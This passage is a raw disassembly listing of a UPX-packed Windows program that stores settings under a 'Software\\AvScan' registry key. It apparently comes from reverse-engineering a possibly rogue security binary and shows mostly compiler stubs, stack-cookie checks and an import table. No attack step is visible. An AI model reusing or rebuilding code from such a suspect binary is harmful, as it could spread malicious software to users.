ptr [eax+8] loc_41BD5F: ; CODE XREF: sub_41BC8C+CEj mov ecx, [ebp+var_8] add [eax+8], ecx and [ebp+var_14], 0 lea ecx, [edi+edi] mov edx, edi shr edx, 1Fh lea edi, [ebx+ebx] or edi, edx mov edx, [eax+8] mov esi, ebx shr esi, 1Fh lea ebx, [edx+edx] mov edx, [ebp+arg_0] or ebx, esi mov [eax], ecx mov [eax+4], edi mov [eax+8], ebx movsx edx, byte ptr [edx] lea esi, [ecx+edx] mov [ebp+var_10], edx cmp esi, ecx jb short loc_41BD9F cmp esi, edx jnb short loc_41BDA6 loc_41BD9F: ; CODE XREF: sub_41BC8C+10Dj mov [ebp+var_14], 1 loc_41BDA6: ; CODE XREF: sub_41BC8C+111j cmp [ebp+var_14], 0 mov [eax], esi jz short loc_41BDCA lea ecx, [edi+1] xor edx, edx cmp ecx, edi jb short loc_41BDBC cmp ecx, 1 jnb short loc_41BDBF loc_41BDBC: ; CODE XREF: sub_41BC8C+129j xor edx, edx inc edx loc_41BDBF: ; CODE XREF: sub_41BC8C+12Ej mov [eax+4], ecx test edx, edx jz short loc_41BDCA inc ebx mov [eax+8], ebx loc_41BDCA: ; CODE XREF: sub_41BC8C+120j ; sub_41BC8C+138j dec [ebp+arg_4] inc [ebp+arg_0] cmp [ebp+arg_4], 0 ja loc_41BCBE xor esi, esi jmp short loc_41BE04 ; --------------------------------------------------------------------------- loc_41BDDE: ; CODE XREF: sub_41BC8C+17Bj mov ecx, [eax+4] mov edx, ecx shr edx, 10h mov [eax+8], edx mov edx, [eax] mov edi, edx shl ecx, 10h shr edi, 10h or ecx, edi shl edx, 10h add [ebp+var_18], 0FFF0h mov [eax+4], ecx mov [eax], edx loc_41BE04: ; CODE XREF: sub_41BC8C+2Cj ; sub_41BC8C+150j cmp [eax+8], esi jz short loc_41BDDE mov ebx, 8000h test [eax+8], ebx jnz short loc_41BE43 loc_41BE13: ; CODE XREF: sub_41BC8C+1B5j mov esi, [eax] mov edi, [eax+4] add [ebp+var_18], 0FFFFh mov ecx, esi add esi, esi shr ecx, 1Fh mov [eax], esi lea esi, [edi+edi] or esi, ecx mov ecx, [eax+8] mov edx, edi shr edx, 1Fh add ecx, ecx or ecx, edx mov [eax+4], esi mov [eax+8], ecx test ecx, ebx jz short loc_41BE13 loc_41BE43: ; CODE XREF: sub_41BC8C+185j mov cx, word ptr [ebp+var_18] mov [eax+0Ah], cx mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_41BC8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE5A proc near ; CODE XREF: sub_41B97D+24Ep ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_427CD8 call __SEH_prolog4 xor eax, eax cmp dword_430144, eax jz short loc_41BEC6 test byte ptr [ebp+arg_0], 40h jz short loc_41BEBE cmp dword_42E334, eax jz short loc_41BEBE mov [ebp+ms_exc.disabled], eax ldmxcsr [ebp+arg_0] jmp short loc_41BEB5 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] cmp eax, 0C0000005h jz short loc_41BE9F cmp eax, 0C000001Dh jz short loc_41BE9F xor eax, eax retn ; --------------------------------------------------------------------------- loc_41BE9F: ; CODE XREF: sub_41BE5A+39j ; sub_41BE5A+40j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] and dword_42E334, 0 and [ebp+arg_0], 0FFFFFFBFh ldmxcsr [ebp+arg_0] loc_41BEB5: ; CODE XREF: sub_41BE5A+2Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh jmp short loc_41BEC6 ; --------------------------------------------------------------------------- loc_41BEBE: ; CODE XREF: sub_41BE5A+1Aj ; sub_41BE5A+22j and [ebp+arg_0], 0FFFFFFBFh ldmxcsr [ebp+arg_0] loc_41BEC6: ; CODE XREF: sub_41BE5A+14j ; sub_41BE5A+62j call __SEH_epilog4 retn sub_41BE5A endp ; sp-analysis failed ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_405180 ; --------------------------------------------------------------------------- loc_41BED4: ; DATA XREF: sub_40AB96+2o ; sub_40ABCE+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-54h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4267B0 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41BEEF: ; DATA XREF: sub_4104C4+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_426AE8 jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] add eax, 4 jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41BF15: ; DATA XREF: sub_40500B+1ACAo mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4270F8 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp+8] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41BF38: ; DATA XREF: sub_402467+2o ; sub_402623+2o ... mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427128 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41BF5B: ; DATA XREF: sub_4024D9+2o ; sub_4026BE+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427158 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-28h] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41BF7E: ; DATA XREF: sub_417A85+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-30h] xor ecx, eax call sub_40AC1C mov ecx, [edx-4] xor ecx, eax call sub_40AC1C mov eax, offset dword_426ED4 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-40h] jmp loc_4051AD ; --------------------------------------------------------------------------- loc_41BFAB: ; DATA XREF: sub_417ECD+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-44h] xor ecx, eax call sub_40AC1C mov eax, offset dword_426F00 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-48h] jmp loc_4051AD ; --------------------------------------------------------------------------- loc_41BFCE: ; DATA XREF: sub_418122+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-4Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_426F2C jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-28h] jmp loc_40509E ; --------------------------------------------------------------------------- loc_41BFF1: ; DATA XREF: UPX0:00426F5Co lea eax, [ebp-14h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-20h] jmp loc_4012F3 ; --------------------------------------------------------------------------- lea esi, [ebp-2Ch] jmp loc_404C16 ; --------------------------------------------------------------------------- lea eax, [ebp-1Ch] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41C011: ; DATA XREF: sub_418266+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-30h] xor ecx, eax call sub_40AC1C mov ecx, [edx-4] xor ecx, eax call sub_40AC1C mov eax, offset dword_426F78 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-24h] jmp loc_40509E ; --------------------------------------------------------------------------- loc_41C03E: ; DATA XREF: UPX0:00426FA8o lea eax, [ebp-14h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea esi, [ebp-28h] jmp loc_404C16 ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41C056: ; DATA XREF: sub_4184BE+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-2Ch] xor ecx, eax call sub_40AC1C mov ecx, [edx-4] xor ecx, eax call sub_40AC1C mov eax, offset dword_426FBC jmp loc_40C114 ; --------------------------------------------------------------------------- lea ecx, [ebp-420h] jmp loc_4012FC ; --------------------------------------------------------------------------- loc_41C086: ; DATA XREF: sub_4186D9+8o mov edx, [esp+8] lea eax, [edx-424h] mov ecx, [edx-428h] xor ecx, eax call sub_40AC1C mov eax, offset dword_426FE8 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_4012F3 ; --------------------------------------------------------------------------- loc_41C0B7: ; DATA XREF: sub_41889D+1Ao mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-40h] xor ecx, eax call sub_40AC1C mov ecx, [edx+214h] xor ecx, eax call sub_40AC1C mov eax, offset dword_42701C jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp+8] jmp loc_404C03 ; --------------------------------------------------------------------------- loc_41C0E7: ; DATA XREF: UPX0:0042704Co mov eax, [ebp+8] add eax, 2Ch jmp loc_4012F3 ; --------------------------------------------------------------------------- mov eax, [ebp+0Ch] jmp loc_405341 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 3Ch push eax call sub_404C11 retn ; --------------------------------------------------------------------------- loc_41C107: ; DATA XREF: sub_418A96+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427060 jmp loc_40C114 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B0h] jmp loc_4091F2 ; --------------------------------------------------------------------------- loc_41C12D: ; DATA XREF: sub_417588+5o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-0B8h] xor ecx, eax call sub_40AC1C mov eax, offset dword_42708C jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C14B: ; DATA XREF: sub_406CDA+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4271B4 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C166: ; DATA XREF: sub_405F0B+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_427240 jmp loc_40C114 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40AD84 ; --------------------------------------------------------------------------- loc_41C189: ; DATA XREF: sub_404A01+2o ; sub_404B1F+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427270 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp+0Ch] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp+0Ch] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-14h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp+10h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-1Ch] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41C1DC: ; DATA XREF: sub_404083+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-28h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4272D0 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C1F7: ; DATA XREF: UPX0:00427304o push dword ptr [ebp-20h] call sub_40B36B pop ecx retn ; --------------------------------------------------------------------------- lea eax, [ebp-14h] jmp loc_4012F3 ; --------------------------------------------------------------------------- loc_41C209: ; DATA XREF: sub_4019F2+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-28h] xor ecx, eax call sub_40AC1C mov eax, offset dword_42733C jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C224: ; DATA XREF: sub_401652+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_427394 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-14h] jmp loc_404C16 ; --------------------------------------------------------------------------- loc_41C247: ; DATA XREF: sub_401304+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-24h] xor ecx, eax call sub_40AC1C mov ecx, [edx-4] xor ecx, eax call sub_40AC1C mov eax, offset dword_4273C0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-21Ch] jmp loc_40A2AA ; --------------------------------------------------------------------------- loc_41C277: ; DATA XREF: sub_408FB6+1Do mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-220h] xor ecx, eax call sub_40AC1C mov ecx, [edx+40Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_4273F0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp+0] jmp loc_40A274 ; --------------------------------------------------------------------------- lea eax, [ebp+0] jmp loc_40A274 ; --------------------------------------------------------------------------- loc_41C2B2: ; DATA XREF: sub_407CD3+14o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-2Ch] xor ecx, eax call sub_40AC1C mov ecx, [edx+2110h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427490 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C2DA: ; DATA XREF: sub_406572+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-18h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427520 jmp loc_40C114 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4066D7 ; --------------------------------------------------------------------------- lea eax, [ebp-14h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp loc_4011D6 ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41C315: ; DATA XREF: sub_401BB2+1Ao mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-28h] xor ecx, eax call sub_40AC1C mov ecx, [edx+214h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427568 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_4012F3 ; --------------------------------------------------------------------------- loc_41C345: ; DATA XREF: sub_4016D2+1Ao mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-28h] xor ecx, eax call sub_40AC1C mov ecx, [edx+3F4h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427598 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-444h] jmp loc_40741F ; --------------------------------------------------------------------------- loc_41C378: ; DATA XREF: UPX0:004275CCo lea esi, [ebp-440h] jmp loc_40741F ; --------------------------------------------------------------------------- loc_41C383: ; DATA XREF: sub_4083DE+8o mov edx, [esp+8] lea eax, [edx-444h] mov ecx, [edx-448h] xor ecx, eax call sub_40AC1C add eax, 0Ch mov ecx, [edx-8] xor ecx, eax call sub_40AC1C mov eax, offset dword_4275D0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-2Ch] jmp loc_40A268 ; --------------------------------------------------------------------------- lea esi, [ebp-28h] jmp loc_40A268 ; --------------------------------------------------------------------------- loc_41C3C1: ; DATA XREF: sub_4075D2+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-30h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427670 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C3DC: ; DATA XREF: sub_4069AB+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_4276CC jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C3F7: ; DATA XREF: UPX0:004276FCo jmp nullsub_1 ; --------------------------------------------------------------------------- loc_41C3FC: ; DATA XREF: sub_406482+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-18h] xor ecx, eax call sub_40AC1C mov eax, offset dword_42772C jmp loc_40C114 ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp loc_405180 ; --------------------------------------------------------------------------- loc_41C41F: ; DATA XREF: sub_406130+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-5Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_427758 jmp loc_40C114 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_405180 ; --------------------------------------------------------------------------- loc_41C442: ; DATA XREF: sub_405CA8+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-58h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427788 jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] add eax, 8 jmp loc_405990 ; --------------------------------------------------------------------------- loc_41C468: ; DATA XREF: sub_40587D+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4277B8 jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 8 jmp loc_405990 ; --------------------------------------------------------------------------- loc_41C48E: ; DATA XREF: sub_4057F4+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4277E8 jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp+8] jmp loc_405341 ; --------------------------------------------------------------------------- loc_41C4B1: ; DATA XREF: sub_4052AA+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427818 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-48h] jmp loc_4051AD ; --------------------------------------------------------------------------- loc_41C4D4: ; DATA XREF: sub_4051B7+8o mov edx, [esp+8] lea eax, [edx-6Ch] mov ecx, [edx-70h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427848 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C4EF: ; DATA XREF: UPX0:0042787Co push dword ptr [ebp-18h] call sub_40AC11 pop ecx retn ; --------------------------------------------------------------------------- loc_41C4F9: ; DATA XREF: sub_4050AA+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-20h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4278AC jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] jmp loc_404C03 ; --------------------------------------------------------------------------- loc_41C51C: ; DATA XREF: UPX0:004278DCo mov eax, [ebp-10h] add eax, 2Ch jmp loc_4012F3 ; --------------------------------------------------------------------------- loc_41C527: ; DATA XREF: sub_404B59+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4278E0 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C542: ; DATA XREF: sub_403FBF+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_42793C jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 28h jmp sub_404C88 ; --------------------------------------------------------------------------- loc_41C568: ; DATA XREF: sub_401E62+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427968 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-284h] jmp loc_4051AD ; --------------------------------------------------------------------------- loc_41C58E: ; DATA XREF: UPX0:0042799Co lea esi, [ebp-2A0h] jmp loc_4051AD ; --------------------------------------------------------------------------- loc_41C599: ; DATA XREF: sub_4098E0+8o mov edx, [esp+8] lea eax, [edx-2BCh] mov ecx, [edx-2C0h] xor ecx, eax call sub_40AC1C add eax, 0Ch mov ecx, [edx-8] xor ecx, eax call sub_40AC1C mov eax, offset dword_4279A0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp+8] jmp loc_404C16 ; --------------------------------------------------------------------------- loc_41C5CF: ; DATA XREF: sub_40783F+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_4279D0 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C5EA: ; DATA XREF: sub_4070E8+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_427A2C jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C605: ; DATA XREF: sub_406A3F+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AC1C mov eax, offset dword_427A84 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41C628: ; DATA XREF: UPX0:00427AB4o lea eax, [ebp-14h] jmp loc_4011D6 ; --------------------------------------------------------------------------- loc_41C630: ; DATA XREF: sub_40534A+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-18h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427AB8 jmp loc_40C114 ; --------------------------------------------------------------------------- lea eax, [ebp-60h] jmp loc_407751 ; --------------------------------------------------------------------------- loc_41C653: ; DATA XREF: UPX0:00427AECo lea esi, [ebp-6Ch] jmp loc_404C16 ; --------------------------------------------------------------------------- loc_41C65B: ; DATA XREF: sub_4080FF+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-70h] xor ecx, eax call sub_40AC1C mov ecx, [edx-4] xor ecx, eax call sub_40AC1C mov eax, offset dword_427AF0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea esi, [ebp-28h] jmp loc_404C16 ; --------------------------------------------------------------------------- loc_41C688: ; DATA XREF: UPX0:00427B24o lea eax, [ebp+0] jmp loc_40A274 ; --------------------------------------------------------------------------- loc_41C690: ; DATA XREF: sub_4078AB+1Ao mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-2Ch] xor ecx, eax call sub_40AC1C mov ecx, [edx+410h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427B5C jmp loc_40C114 ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_404B59 ; --------------------------------------------------------------------------- loc_41C6C0: ; DATA XREF: UPX0:00427B8Co mov eax, [ebp+8] add eax, 78h jmp loc_408D89 ; --------------------------------------------------------------------------- loc_41C6CB: ; DATA XREF: sub_409533+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427B90 jmp loc_40C114 ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_404B59 ; --------------------------------------------------------------------------- loc_41C6EE: ; DATA XREF: sub_408D98+2o ; sub_4091FA+2o ... mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427BC0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea edi, [ebp-70h] jmp sub_40927A ; --------------------------------------------------------------------------- loc_41C711: ; DATA XREF: sub_40A147+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-74h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427BF0 jmp loc_40C114 ; --------------------------------------------------------------------------- lea edi, [ebp-70h] jmp sub_409433 ; --------------------------------------------------------------------------- loc_41C734: ; DATA XREF: sub_40A0E8+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-74h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427C20 jmp loc_40C114 ; --------------------------------------------------------------------------- lea edi, [ebp-0B0h] jmp sub_40961F ; --------------------------------------------------------------------------- loc_41C75A: ; DATA XREF: sub_409FB8+8o mov edx, [esp+8] lea eax, [edx-0F4h] mov ecx, [edx-0F8h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427C50 jmp loc_40C114 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 40h jmp loc_408D89 ; --------------------------------------------------------------------------- loc_41C786: ; DATA XREF: UPX0:00427C84o mov eax, [ebp+8] add eax, 48h jmp loc_408D89 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 50h jmp loc_408D89 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 58h jmp loc_408D89 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 60h jmp loc_408D89 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 68h jmp loc_408D89 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 70h jmp loc_408D89 ; --------------------------------------------------------------------------- loc_41C7C8: ; DATA XREF: sub_409BC7+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-10h] xor ecx, eax call sub_40AC1C mov eax, offset dword_427CB0 jmp loc_40C114 ; --------------------------------------------------------------------------- loc_41C7E3: ; DATA XREF: UPX0:0041D3ECo push esi mov esi, offset dword_42F0B4 mov ecx, offset dword_42F0C4 mov dword_42EE90, esi call sub_401154 test eax, eax jge short loc_41C806 mov byte_42EE8C, 1 jmp short loc_41C810 ; --------------------------------------------------------------------------- loc_41C806: ; CODE XREF: UPX0:0041C7FBj mov dword_42F0B8, 24h loc_41C810: ; CODE XREF: UPX0:0041C804j push offset loc_41C88C mov dword_42F0B4, offset off_424BB0 mov dword_42EEA4, esi call sub_40B770 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41C82D: ; DATA XREF: UPX0:0041D3F0o push edi push offset aSoftwareAvsc_0 ; "Software\\AvScan" mov edi, offset dword_42F0E4 call sub_417072 push offset loc_41C8A0 call sub_40B770 pop ecx pop edi retn ; --------------------------------------------------------------------------- loc_41C84A: ; DATA XREF: UPX0:0041D3E0o mov ecx, offset dword_42E34C call sub_40AA42 push offset loc_41C8AD call sub_40B770 pop ecx retn ; --------------------------------------------------------------------------- loc_41C860: ; DATA XREF: UPX0:0041D3E4o mov ecx, offset dword_42E388 call sub_40AA1C push offset loc_41C8B7 call sub_40B770 pop ecx retn ; --------------------------------------------------------------------------- loc_41C876: ; DATA XREF: UPX0:0041D3E8o mov ecx, offset dword_42E3B4 call sub_40AB4B push offset loc_41C8C1 call sub_40B770 pop ecx retn ; --------------------------------------------------------------------------- loc_41C88C: ; DATA XREF: UPX0:loc_41C810o mov dword_42F0B4, offset off_424BB0 mov eax, offset dword_42F0B4 jmp sub_4072C1 ; --------------------------------------------------------------------------- loc_41C8A0: ; DATA XREF: UPX0:0041C83Do push dword_42F0E4 call dword_41D000 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_41C8AD: ; DATA XREF: UPX0:0041C854o mov ecx, offset dword_42E34C jmp loc_40AA06 ; --------------------------------------------------------------------------- loc_41C8B7: ; DATA XREF: UPX0:0041C86Ao mov ecx, offset dword_42E388 jmp loc_40AAF1 ; --------------------------------------------------------------------------- loc_41C8C1: ; DATA XREF: UPX0:0041C880o mov ecx, offset dword_42E3B4 jmp loc_40AB09 ; --------------------------------------------------------------------------- loc_41C8CB: ; DATA XREF: sub_40B45F+42o mov dword_42E3E0, offset off_41D4DC mov ecx, offset dword_42E3E0 jmp sub_40AD84 ; --------------------------------------------------------------------------- align 10h dd 1C8h dup(0) dword_41D000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_40747A+4Cr ... dword_41D004 dd 77DFCCEFh ; resolved to->ADVAPI32.RegQueryInfoKeyWdword_41D008 dd 77DF9884h ; resolved to->ADVAPI32.RegDeleteKeyW ; sub_4083DE+575r dword_41D00C dd 77DDEEF1h ; resolved to->ADVAPI32.RegDeleteValueWdword_41D010 dd 77DD6A78h ; resolved to->ADVAPI32.RegOpenKeyExW ; sub_4083DE+252r ... dword_41D014 dd 77DD79A1h ; resolved to->ADVAPI32.RegEnumKeyExWdword_41D018 dd 77DDD7CCh ; resolved to->ADVAPI32.RegSetValueExW ; sub_407CD3+2E0r ... dword_41D01C dd 77DD6FC8h ; resolved to->ADVAPI32.RegQueryValueExW ; sub_416FB1+31r dword_41D020 dd 77DD7535h ; resolved to->ADVAPI32.RegCreateKeyExW ; sub_417072+17r align 8 dword_41D028 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_403EA4+44r dword_41D02C dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_403DD3+9Er ... dword_41D030 dd 77F161FFh ; resolved to->GDI32.CreateBitmap ; sub_409FB8+7Br ... dword_41D034 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_40366A+F5r ... dword_41D038 dd 77F16C0Ah ; resolved to->GDI32.DeleteObject ; sub_402874+10Dr ... dword_41D03C dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_402874+14Br ... dword_41D040 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_403DD3+5Fr dword_41D044 dd 77F1701Ah ; resolved to->GDI32.CreateCompatibleBitmap ; sub_403DD3+7Br ... dword_41D048 dd 77F1836Fh ; resolved to->GDI32.GetObjectWdword_41D04C dd 77F161D1h ; resolved to->GDI32.GetStockObjectdword_41D050 dd 77F1A779h ; resolved to->GDI32.SetDIBits ; sub_409FB8+C6r ... dword_41D054 dd 77F161B5h ; resolved to->GDI32.CreateSolidBrush ; sub_402874+F1r dd 0 dword_41D05C dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_41D060 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_41D064 dd 7C802332h ; resolved 